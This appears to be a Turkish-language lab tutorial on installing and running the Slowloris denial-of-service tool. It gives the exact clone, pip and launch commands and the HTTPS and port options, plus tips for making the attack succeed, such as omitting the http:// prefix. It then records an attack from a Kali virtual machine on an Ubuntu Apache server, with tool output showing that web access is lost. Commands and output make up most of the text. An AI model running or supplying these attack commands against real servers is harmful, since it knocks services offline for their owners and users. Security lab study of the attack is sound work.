

Slowloris Tool Kullanımı

a. Kurulumu

(*) Not:

Slowloris aracı github'dan indirilmiş klasör halinde Downloads klasörü altında yer almakta: slowloris-master.zip

```
> git clone https://github.com/gkbrk/slowloris.git
> chmod -R 777 slowloris/
> cd slowloris
> python3 slowloris.py --help
```

veya

```
> sudo su
> apt-get install python3-pip
> pip3 install slowloris
> slowloris --help
```

b. Kullanımı

(-) Uyarı:

Tool'a adres eklerken http veya https öneki adreste belirtilmemeli. Aksi takdirde tool çalışmıyor ve socket count çıktısı hep 0 veriyor. Belirtilmediğinde socket count default değeri 150 veriyor ve çalışıyor. Tool default olarak port 80'e paket gönderimi yapıyor. Eğer site https ise --https parametresi eklenmeli. SSL modülü çıktıda belirttiği gibi import ediyor. Port parametresi için de 443 ilave olarak eklenebilir.

```
> python3 slowloris.py example.com
> python3 slowloris.py -p 443 --https example.com
```

c. Uygulama

(+) Birebir denendi ve başarıyla uygulandı.

Gereksinimler

Ubuntu 18.04 LTS - Apache	// Hedef : Ana Makine
Tubitak Kali (Ekim, 2020) - Slowloris	// Saldırı: Sanal Makine

Ubuntu 18.04 LTS ana makinesindeki apache sunucuya Kali Tubitak sanal makinesinden slowloris aracı ile slowloris saldırısı uygulanacaktır.

Kali Tubitak:

```
// İndirme
> git clone https://github.com/gkbrk/slowloris.git
> chmod -R 777 slowloris/
```

> cd slowloris

// Çalıştırma

> python3 slowloris.py 192.168.0.15

// Ubuntu 18.04 LTS IP'si

Çıktı:

[16-07-2021 18:06:44] Attacking 192.168.0.15 with 150 sockets.

[16-07-2021 18:06:44] Creating sockets...

[16-07-2021 18:06:48] Sending keep-alive headers... Socket count: 150

(-) UYARI :

Eğer saldırıyı şu şekilde başlatırsak saldırı başarısız oluyor.

> python3 slowloris.py **http://**192.168.0.15

Apache sunucu hiç etkilenmiyor ve çıktıda socket count : 0 olarak yansıyor.

http:// veya https:// ön eki belirtmeden direk domain adı (veya ip'si) girilmeli.

Saldırı başladığında ubuntu 18.04 lts ana makinesindeki apache sunucunun web erişimi kopacaktır.

Ubuntu 18.04 LTS Chrome:

// Erişim Denemesi

http://localhost

Çıktı:

(~) Yükleniyor...

Saldırı sonlandırıldığında erişim geliyor.

Kali Tubitak:

// Durdurma

> python3 slowloris.py 192.168.0.15

[16-07-2021 18:06:44] Attacking 192.168.0.15 with 150 sockets.

[16-07-2021 18:06:44] Creating sockets...

[16-07-2021 18:06:48] Sending keep-alive headers... Socket count: 150

...

...

C^

Ubuntu 18.04 LTS Chrome:

// Erişim Denemesi

http://localhost

Çıktı:

```
...  
...      // Apache sunucudaki kök dizinde yer alan dizinler ve dosyalar ekrana gelir.  
...
```

Kaynak:

<https://github.com/gkbrk/slowloris>